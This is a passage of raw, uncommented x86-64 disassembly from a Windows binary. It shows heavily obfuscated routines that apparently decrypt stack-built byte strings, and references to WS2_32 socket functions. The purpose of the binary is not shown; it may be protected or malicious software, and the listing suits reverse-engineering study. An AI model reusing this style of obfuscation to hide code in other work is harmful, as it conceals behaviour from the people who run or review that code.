sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400978ca
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097284
movabs rdx, 0xb7533373c158dc1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400979ee
movabs rdx, 0x1ad168b5d3522c98
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x8d0]
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
movabs rcx, 0xb3b0f60657d080b7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
dec r11b
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x8d0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rdx, 0x4c908356dc4ed4d6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x8d0]
add r10b, r11b
add r10b, dl
jmp 0x140097aa2
movabs rcx, 0x4a0e87442f3ed0b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
movabs rcx, 0xe69052021d45803d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
jmp 0x140097aa2
movabs rcx, 0xb4d137611448d7ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
movabs rcx, 0xbc15b23be7598ec9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
movabs rcx, 0x81f1db654ed3d879
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x4f
add cl, r11b
mov byte [rbp + rbx + 0x8d0], cl
inc r9
dec rbx
inc rbx
jmp 0x140096d92
movabs rcx, 0x26d86258cc63960f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
inc r9
dec rbx
inc rbx
jmp 0x140096d92
movabs rcx, 0x5fdbf7d4a870f517
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x5f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140096d92
mov r11, rdx
movabs rcx, 0x2e1cdd339f744cd9
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x11
add r10b, cl
movabs rdx, 0xe57010a760cd28f5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x4d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x8d0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x7e4f9df7e54b7d14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x8d0], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
movabs rcx, 0xca9ea7f18d7afc5d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x75
movzx eax, byte [rbp + rbx + 0x8d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140096d92
movabs rcx, 0x6c246ad4d5a1b41b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x140096d90
movabs rcx, 0x3a655033cca50bdd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
jmp 0x140096d80
lea rsi, [rbp + 0x1608da4]
jmp 0x140097bba
lea rsi, [rbp + 0x5ee1c3]
jmp 0x140097bba
lea rsi, [rbp + 0x8d0]
lea rdx, [0x140227e00]
lea rcx, [rbp + 0x1d8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc20
mov r14, rax
mov byte [rbp + 0x8f8], Ordinal_45
mov byte [rbp + 0x8f9], 4
mov byte [rbp + 0x8fa], 5
mov byte [rbp + 0x8fb], 7
mov byte [rbp + 0x8fc], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x8fd], 3
mov byte [rbp + 0x8fe], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x8ff], reloc.WS2_32.dll_select
mov byte [rbp + 0x900], reloc.WS2_32.dll_WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x901], xmm0
mov qword [rbp + 0x911], rax
mov word [rbp + 0x919], ax
movabs r15, 0xce9883412b0f9b06
movabs r12, 0xd15f3404af4ee9ba
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x3a998c586fc3ca6e
cmp rdi, 0x23
jae 0x140098a35
movzx ebx, byte [rbp + rdi + 0x8f8]
mov r10, rbx
cmp r9, rdi
ja 0x140098a29
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140097cc3
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 2
jmp 0x140097d10
je 0x1400989a2
lea rax, [r8 + 3]
cmp r9, rax
je 0x140098902
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400988cc
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009887c
lea rax, [r8 + 7]
cmp r9, rax
je 0x140098853
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400987fd
nop word [rax + rax]
cmp r8, rdi
ja 0x140098a1d
lea rax, [r8 + 2]
cmp r9, rax
jae 0x140097d44
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
add r11b, dl
jmp 0x140097d80
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400987da
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400987a7
lea rax, [r8 + 4]
cmp r9, rax
je 0x140098783
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009874f
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400983f1
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x1400983c9
lea rax, [r8 + 9]
cmp r9, rax
je 0x140098398
lea rax, [r8 + 8]
cmp r9, rax
je 0x14009836a
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x140098345
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14009831d
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x1400982e5
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400982c0
lea rax, [r8 + 4]
cmp r9, rax
je 0x140098298
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009825f
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140097d90
lea r9, [r8 + 0x41]
lea r8, [r9 + 0x10]
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400989fa
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400989d7
lea rax, [r8 + 4]
cmp r9, rax
jb 0x140097f82
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x140097f5b
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x140097f3d
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x140098203
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400981a2
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x140098153
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x140098125
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x140097d90
lea r9, [r8 + 0x1000]
lea r8, [r9 + 8]
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400980f1
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400980ca
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400980a6
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x140098073
lea rcx, [r8 + 9]
cmp r9, rcx
ja 0x140098050
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14009802c
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140098003
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140097fd7
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140097fb3
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140097d90
mov r9, rcx
lea r8, [rcx + 4]
jmp 0x140097d90
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x140097d80
movabs rdx, 0x5c2c1b53cfc754de
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
add r11b, dl
jmp 0x140097d10
movabs rdx, 0xe6f902a2f03fc002
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xe
add r11b, dl
movabs rcx, 0x3a998c586fc3ca6e
jmp 0x140097c8e
movabs rdx, 0x74c41a09587cd830
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x14009881c
movabs rcx, 0xff91015878f54354
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
inc r8
dec rdi
inc rdi
jmp 0x140097c72
movabs rcx, 0x8a5de8a7996dae78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x140097c72
movabs rdx, 0x152acff6b9e6199c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
jmp 0x14009889b
movabs rcx, 0x9ff7b745da5e84c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x1400988ea
movabs rcx, 0x2ac49e94fad6efe4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097c72
movabs rdx, 0xb59185e41b4f5b08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
jmp 0x140098925
movabs rdx, 0x405e6d333bc7c62c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x14009895a
movabs rcx, 0xcb2b54825c403150
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
movabs rcx, 0xa62b96c82d6d3d2a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
mov byte [rbp + rdi + 0x8f8], r11b
inc rdi
jmp 0x140097c72
movabs rcx, 0x30f87e174de5a84e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
cmp r8, 0x1000
jb 0x140098143
movabs rdx, 0x592deb3c8802a7d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14009881f
movabs rdx, 0xbbc565666e5e1372
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
cmp r9, 0x41
jae 0x1400986f2
lea rax, [r8 + 0x10]
cmp r9, rax
jbe 0x14009860d
movabs rdx, 0xc52ef453ccb6d73c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140098171
movabs rcx, 0x46924cb58ed67e96
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
lea rax, [r8 + r9]
cmp rax, 1
je 0x14009871f
lea rax, [r8 + 0x40]
cmp r9, rax
jbe 0x140098530
movabs rcx, 0xf6967112a1a73c36
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x1400981c4
movabs rdx, 0xd7931387025da224
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
movabs rdx, 0x625ffad622d60d48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009895a
movabs rdx, 0xed2ce225434e786c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140098925
movabs rdx, 0x77f9c97463c6e390
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097c72
movabs rdx, 0x2c6b0c3843f4eb4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400988ea
movabs rdx, 0x8d939812a4b7b9d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009889b
movabs rdx, 0x18607f61c53024fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140097c72
movabs rdx, 0xa32d66b0e5a89020
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x140097c72
movabs rdx, 0x2dfa4e000620fb44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009881f
lea rax, [r8 + 0x28]
cmp r9, rax
jae 0x140098425
movabs rdx, 0x3a998c586fc3ca6e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x140098221
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140098466
movabs rcx, 0x9d310682561f360c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
inc rax
cmp r9, rax
jne 0x140098499
movabs rdx, 0x12641f3335a6cae8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x14009895a
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400984c9
movabs rcx, 0x71fd6945d43d897c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
jmp 0x1400988ea
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400984ff
movabs rcx, 0x5c639aa7934cb334
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140097c72
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140098221
movabs rdx, 0x46c9cc09525bdcec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
jmp 0x14009881c
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140098561
movabs rdx, 0x6bc989c3812ed112
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
jmp 0x14009881c
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140098593
movabs rdx, 0xcb62d3d61fc58fa6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009889b
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400985c8
movabs rdx, 0x4095ec86ff4d2482
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400988ea
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400981c4
movabs rdx, 0xb5c90537ded4b95e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097c72
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140098653
movabs rdx, 0x3a620d04ac3e6c18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140098685
movabs rdx, 0x24c83e666b4d95d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140098925
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400986c0
movabs rdx, 0xf994a129e96be940
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140097c72
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140098171
movabs rdx, 0xe3fad28ba87b12f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009881c
movabs rdx, 0xce6103ed678a3cb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x8f8]
add r11b, bl
jmp 0x14009889b
movabs rdx, 0x43941c9e4711d18c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x8f8]
add r11b, dl
add r11b, bl
jmp 0x140098928
movabs rcx, 0xed64617906d3d6c2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4e
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
movabs rdx, 0x2fe301747c4ad0a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x46
jmp 0x140098925
movabs rcx, 0x8dcb1766683d182e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097c72
movabs rcx, 0x43cb9bf20a972fe2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x14009881f
movabs rdx, 0x59656a904b88062a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x26
add r11b, dl
movabs rdx, 0x93c77794f7c67242
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x8f8], cl
inc r8
dec rdi
inc rdi
jmp 0x140097c72
movabs rcx, 0x6eff392e8c78dc72
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
dec rdi
inc rdi
jmp 0x140097c72
movabs rdx, 0xf9cc207dacf14796
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1a
add r11b, dl
movabs rcx, 0x8fa9045d74e071e
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0x8f8], dl
jmp 0x1400988ea
movabs rcx, 0x849907cccd69b2ba
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097c72
mov rbx, r10
movabs rdx, 0x9a32d66b0e5a8902
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xe
add r11b, dl
movabs rdx, 0x7e2da8f6b6d59bfa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x8f8], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0xb8c7354f26996668
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x8f8], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
movabs rcx, 0xafcca5094f4b5f4a
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
movzx eax, byte [rbp + rdi + 0x8f8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140097c72
movabs rcx, 0x71c5e9f210b82b26
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
jmp 0x140097c6e
movabs rcx, 0xfc92d1413130964a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
jmp 0x140097c5a
lea rcx, [rbp + 0x14c0ae0]
jmp 0x140098a3c
lea rcx, [rbp + 0x10fd54e]
jmp 0x140098a3c
lea rcx, [rbp + 0x8f8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
mov r9d, 0x2710
mov r8d, Ordinal_30
mov rdx, r14
call fcn.1400383c0
lea rdx, [0x140227fc0]
lea rcx, [rbp + 0x1f8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc20
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, [0x1401b8738]
mov r15, qword [rsi + rcx*8]
mov byte [rbp + 0x920], 8
mov byte [rbp + 0x921], Ordinal_41
mov byte [rbp + 0x922], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x923], 0x53
mov byte [rbp + 0x924], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x925], gethostname
mov byte [rbp + 0x926], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x927], gethostname
mov byte [rbp + 0x928], 0xae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x929], xmm0
mov qword [rbp + 0x939], rax
mov word [rbp + 0x941], ax
movabs rdx, 0x4087bb9934f26423
movabs r12, 0x1fd9923674a9397d
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x93cd687c7f75c5c9
cmp rdi, 0x23
jae 0x140099984
movzx ebx, byte [rbp + rdi + 0x920]
mov r10, rbx
cmp r8, rdi
ja 0x140099978
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140098b73
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x7f
jmp 0x140098bb0
je 0x1400998e7
lea rax, [r9 + 2]
cmp r8, rax
je 0x140099859
lea rax, [r9 + 4]
cmp r8, rax
je 0x140099819
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400997e6
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009978e
nop dword [rax]
cmp r9, rdi
ja 0x14009996c
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140098be0
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
jmp 0x140098c20
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009976b
inc rax
cmp r8, rax
je 0x140099738
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400996fb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400996d8
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400996b5
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009928f
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140099267
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009922c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400991f4
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400991d2
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400991aa
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140099168
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140099140
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099118
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400990f0
lea r8, [r9 + 4]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140099949
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140099926
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140098e0f
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140098dec
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140098dd2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140099092
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140099035
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140098fec
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140098fb4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140098c30
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140098f91
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140098f6e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140098f4b
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140098f0e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140098eeb
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140098ec8
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140098e95
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140098e5f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140098e3c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140098c30
lea r8, [r9 + 0x41]
lea r9, [r8 + 5]
jmp 0x140098c30
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xb
jmp 0x140098c20
movabs rcx, 0x18eceaa03606d891
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
jmp 0x140098bb0
movabs rcx, 0xf15219a7371b4cff
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
